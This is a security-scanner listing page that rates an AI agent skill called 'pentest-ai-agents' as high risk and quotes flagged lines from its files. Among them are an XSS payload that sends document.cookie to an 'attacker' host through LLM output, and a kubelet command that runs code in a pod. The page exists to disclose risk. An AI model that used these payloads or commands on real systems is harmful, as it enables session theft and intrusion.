← All skills
pentest-ai-agents
35 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By alicewe1/alice_skill (GitHub) · security · 63 stars · scanned at commit 19a54ac
Offensive security research assistant with 35+ specialized subagents for authorized penetration testing, web hunting, injection, exploit chaining, and report generation. Use for web pentest, SQLi, XSS, API security, bug bounty, and red team workflows.
Works with any agent that supports SKILL.md skills.
What this skill can do
Can call paid AI services billed to you
The author does not mention this.
Found in 1 place.
Sends data to these websites: target, $node_ip, example.com, crt.sh, api.whoxy.com, api.securitytrails.com, api.bgpview.io, ipinfo.io, api.hunter.io, phonebook.cz and 1 more
The author does not mention this. Expected for a security skill.
Found in 31 places.
Show 17 more
- _modules/pentest-ai-agents/agents/ai-recon.md, line 148
curl -s https://TARGET/api/tags | jq . # Ollama model inventory - _modules/pentest-ai-agents/agents/container-breakout.md, line 83
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ - _modules/pentest-ai-agents/agents/container-breakout.md, line 261
curl -sk https://$node_ip:10250/pods | jq . - _modules/pentest-ai-agents/agents/container-breakout.md, line 264
curl -sk -XPOST "https://$node_ip:10250/run/$ns/$pod/$container" -d "cmd=id" - _modules/pentest-ai-agents/agents/llm-redteam.md, line 252
- Does the model output get fed into a `dangerouslySetInnerHTML` call? Inject `<img src=x onerror=fetch('//attacker?c='+document.cookie)>`. - _modules/pentest-ai-agents/agents/opsec-anonymizer.md, line 97
torsocks curl https://example.com/ - _modules/pentest-ai-agents/agents/opsec-anonymizer.md, line 235
curl https://example.com - _modules/pentest-ai-agents/agents/osint-collector.md, line 46
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u > crtsh.txt - _modules/pentest-ai-agents/agents/osint-collector.md, line 82
curl "https://api.whoxy.com/?key=API_KEY&reverse=whois&name=Target+Corp" - _modules/pentest-ai-agents/agents/osint-collector.md, line 86
curl -H "apikey: API_KEY" "https://api.securitytrails.com/v1/history/target.com/dns/a" - _modules/pentest-ai-agents/agents/osint-collector.md, line 124
curl "https://api.bgpview.io/asn/12345/prefixes" - _modules/pentest-ai-agents/agents/osint-collector.md, line 127
curl "https://ipinfo.io/203.0.113.10/json" - _modules/pentest-ai-agents/agents/osint-collector.md, line 152
curl "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=API_KEY" - _modules/pentest-ai-agents/agents/osint-collector.md, line 155
curl "https://phonebook.cz/api/v1/search?query=target.com&type=email" - _modules/pentest-ai-agents/agents/osint-collector.md, line 174
curl "https://api.hunter.io/v2/email-verifier?email=john.smith@target.com&api_key=API_KEY" - _modules/pentest-ai-agents/agents/osint-collector.md, line 186
curl -H "hibp-api-key: API_KEY" "https://haveibeenpwned.com/api/v3/breachedaccount/user@target.com?truncateResponse=false" - _modules/pentest-ai-agents/agents/osint-collector.md, line 189
curl -H "hibp-api-key: API_KEY" "https://haveibeenpwned.com/api/v3/breaches"
and 11 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 3 places.
Downloads and installs other software
The author does not mention this.
Found in 2 places.
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-ai-agents' ] || [ -L ~/.agents/skills/'pentest-ai-agents' ]; then echo 'A skill folder named pentest-ai-agents already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/alicewe1/alice_skill' "$d" && git -C "$d" checkout --quiet '19a54ac988e9929160334271f5c1924ddd9b227e' -- '_modules/pentest-ai-agents' && mkdir -p ~/.agents/skills && cp -R "$d"/'_modules/pentest-ai-agents' ~/.agents/skills/'pentest-ai-agents' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-ai-agents' ~/.claude/skills/'pentest-ai-agents' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for alicewe1/alice_skill shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/alicewe1/alice_skill/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 19a54ac | 35 |